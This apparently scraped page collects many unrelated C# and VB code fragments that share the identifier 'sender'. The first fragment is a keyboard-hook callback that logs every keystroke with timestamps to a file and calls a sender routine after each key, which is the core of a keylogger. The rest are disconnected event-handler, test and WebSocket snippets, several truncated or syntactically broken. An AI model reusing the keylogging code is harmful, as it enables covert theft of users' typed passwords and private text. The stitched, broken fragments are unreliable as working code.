private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        sender enviar = new sender();

        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int          vkCode = Marshal.ReadInt32(lParam);
            filtro       filtro = new filtro();
            StreamWriter sw     = new StreamWriter(Application.StartupPath + @"\log.txt", true);

            if (!filtro.filtrar(vkCode, sw))
            {
                if (!verificaData())
                {
                    string sis = Convert.ToString((Keys)vkCode);
                    sw.Write(sis.ToLower());
                }
                else
                {
                    DateTime now = DateTime.Now;

                    string dataAt = "";
                    dataAt = now.ToString("dd/MM/yyyy HH:mm");
                    string sis = Convert.ToString((Keys)vkCode);
                    sw.WriteLine();
                    sw.Write("[" + dataAt + "]: " + sis.ToLower());
                    novaData();
                }
            }
            sw.Close();
            enviar.Sender();
        }
        return(CallNextHookEx(_hookID, nCode, wParam, lParam));
    }
Example #2
0
 // here you popup the data entry form and wire to the saving callback
 void buttonShowDataForm_Click(sender, e)
 {
     // yes - this is best way to show forms because it will dispose them too
     using (f = new formDataCollect(CarInfoSubmitCallback))
     {
         f.ShowModal();
     }
 }
Example #3
0
    // here you have your view
    void buttonAddCar_Click(sender, e)
    {
        var ci = new CarInfo();

        ci.Name = txtName.Text;
        // and so on with properties
        _callBack(ci);
    }
Example #4
0
        static void Main(string[] args)
        {
            sender s = new sender();

            s.err1  += new handler(func1);
            s.err2  += new handler(func2);
            s.noerr += new handler(func3);
            s.readerr();
            Console.ReadKey();
        }
        //build mother send start test message to request testharness start test dll files
        private void RequestTestHarnessTest()
        {
            Sender      s  = new sender("http://localhost", 8050);
            CommMessage cm = new CommMessage(CommMessage.MessageType.request);

            cm.command = "StartTest";
            cm.to      = "http://localhost:" + 8050 + "/Ibuilder";
            cm.from    = "http://localhost:" + 8050 + "/Ibuilder";
            cm.author  = "Quanfeng Du";
            s.postMessage(cm);
        }
            public void Converts_sender_successfully()
            {
                //Arrange
                const string organizationNumber = "123456789";

                var source   = new Sender(organizationNumber);
                var expected = new sender
                {
                    organizationnumber = organizationNumber
                };

                //Act
                var result = DataTransferObjectConverter.ToDataTransferObject(source);

                //Assert
                var comparator = new Comparator();
                IEnumerable <IDifference> differences;

                comparator.AreEqual(expected, result, out differences);
                Assert.Empty(differences);
            }
 InvokeListeners(sender, eventHandlers);
Example #8
0
 protected void Page_Load(sender obj, EventArgs e)
 {
     ucBottom.varBottomID = ucTop.varBottomID;      // Fix the first issue
 }
Example #9
0
 _eventHandler(sender, e);
Example #10
0
 // Hook events after the instance is (re)instantiated
 Log.Output            += async(sender, message) => await Driver.Instance.WriteMessage(message);
 add => RecordParsed    += (sender, e) => value(sender, e);
Example #12
0
					1 => (sender, e) => MenuItemGenerateHardPattern_Click(sender, e),
Example #13
0
 /// <summary>
 /// 发送消息
 /// </summary>
 /// <param name="webSocket"></param>
 internal unsafe void Send(webSocket.socket webSocket)
 {
     byte[] buffer = fastCSharp.memoryPool.StreamBuffers.Get();
     webSocket.socket.message message = default(webSocket.socket.message);
     try
     {
         fixed(byte *bufferFixed = buffer)
         {
             using (unmanagedStream stream = new unmanagedStream(bufferFixed, buffer.Length))
             {
                 sender sender = new sender {
                     Buffer = buffer, BufferFixed = bufferFixed, Stream = stream
                 };
                 do
                 {
                     if (webSocket == this.WebSocket && webSocket.SocketIdentity == socket.identity)
                     {
                         if (webSocket.GetMessage(ref message))
                         {
                             sender.Send(ref message);
                             if ((stream.Length << 1) > buffer.Length)
                             {
                                 byte[] data = sender.GetData();
                                 Monitor.Enter(sendLock);
                                 try
                                 {
                                     webSocket.SslStream.Write(data, 0, stream.Length);
                                     ++socket.timeoutIdentity;
                                 }
                                 finally { Monitor.Exit(sendLock); }
                                 stream.UnsafeSetLength(0);
                             }
                             else if (webSocket.MessageCount == 0)
                             {
                                 Thread.Sleep(0);
                             }
                         }
                         else
                         {
                             if (stream.Length != 0)
                             {
                                 byte[] data = sender.GetData();
                                 Monitor.Enter(sendLock);
                                 try
                                 {
                                     webSocket.SslStream.Write(data, 0, stream.Length);
                                     ++socket.timeoutIdentity;
                                 }
                                 finally { Monitor.Exit(sendLock); }
                             }
                             return;
                         }
                     }
                     else
                     {
                         break;
                     }
                 }while (true);
             }
         }
     }
     catch { }
     finally { fastCSharp.memoryPool.StreamBuffers.PushNotNull(buffer); }
     webSocket.Client.shutdown();
 }
Example #14
0
 get => SHA512.Create().ComputeHash(ASCIIEncoding.ASCII.GetBytes(JsonConvert.SerializeObject(new _transaction(sender, receiver, value, num))));
Example #15
0
 SettingChanged?.Invoke(sender, args);
Example #16
0
 base.OnAttributesChange(sender, data);
 public static readonly DependencyProperty Value1Property = DependencyProperty.Register("Value1", typeof(int), typeof(ElementA), new PropertyMetadata(defaultValue: 1, propertyChangedCallback: (sender, e) => { if (Value1ChangedA != null) { Value1ChangedA(sender, e);
Example #18
0
 //Async call to not impact memory read times(too much)
 BeginInvoke((MethodInvoker)(() => SreaderOnInvalidRead(sender, e)));
Example #19
0
        public void TestMethod8()
        {
            var mocksender = new Mock <ISender>();

            var senderobj = new sender().send(mocksender.Object);
        }
 checkforsave(sender, e);
Example #21
0
					0 => (sender, e) => MenuItemGenerateWithSymmetry_Click(sender, e),
					1 => (sender, e) => MenuItemGenerateHardPattern_Click(sender, e),
Example #22
0
 // make it public in case of external event handlers registration
 private void Timer_Tick(sender sender, EventArgs e)
 {
   // now you can access firstForm or it's timer here
 }
Example #23
0
 EntryCreated(sender, arg);
Example #24
0
 // Hook events after the instance is (re)instantiated
 Log.Output += async(sender, message) => { if (Driver.IsConnected)
 var(sender, message) = args;
 remove => RecordParsed -= (sender, e) => value(sender, e);
 await SetDeviceEnabledState(sender, args);
 var(sender, options) = value;
Example #29
0
 message_monitor_.MessageOut(new DebugMessageInfo(DateTime.Now, SystemTick, sender, type, obj.ToString()));
 private void ComputeNewStateAndOutput(sender, e)
 {
Example #31
0
 Private Sub AnythingHappend(sender As Object, e As EventArgs) Handles btCountWords.Click, btApply2Words.Click, btApplyNumeric.Click, cmbMode.SelectedIndexChanged, ckRespectOrder.CheckedChanged, ckWithRepetitions.CheckedChanged, btPermutateWords.Click
 _eventHandler(sender, e);
 private void OnComboSelectedIndexChanged(sender, e)
 {
     if (_stopEvent)
         return;
     // REAL event code here
 }